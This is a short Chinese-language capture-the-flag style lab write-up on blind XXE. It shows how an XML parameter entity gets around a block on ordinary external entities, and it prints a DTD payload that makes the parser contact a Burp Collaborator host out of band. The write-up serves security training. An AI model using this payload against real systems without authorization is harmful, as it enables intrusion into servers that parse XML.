# XXE Lab4 這題是 Blind XXE ,題目封鎖了普通外部實體,所以你不能用一般的 `<!ENTITY xxe SYSTEM "http://...">`,得用 XML 參數實體(Parameter Entities) 來繞過防護。 一樣進入網站並攔截請求。 ![image](https://hackmd.io/_uploads/S1TEv47Hlx.png) ![image](https://hackmd.io/_uploads/Hy7dDE7Blx.png) XML 有兩種實體: - 普通實體 (General Entities):寫法是 <!ENTITY name "value"> - 參數實體 (Parameter Entities):寫法是 <!ENTITY % name "value"> 一般外部實體被封鎖,但通常參數實體會被放過(因為他們寫在 DTD 裡,且解析方式不太一樣),用參數實體來觸發盲注(out-of-band)互動 ``` <!DOCTYPE stockCheck [ <!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]> ``` 第一行定義了一個參數實體 `%xxe`,值是 Burp Collaborator 的子域名。 第二行` %xxe;` 是「呼叫」這個參數實體 → 讓解析器去讀這個外部 URL,觸發 DNS 或 HTTP 請求。 ![image](https://hackmd.io/_uploads/HkWmgB7Hlx.png) ![image](https://hackmd.io/_uploads/BkxHeBmHxx.png) ---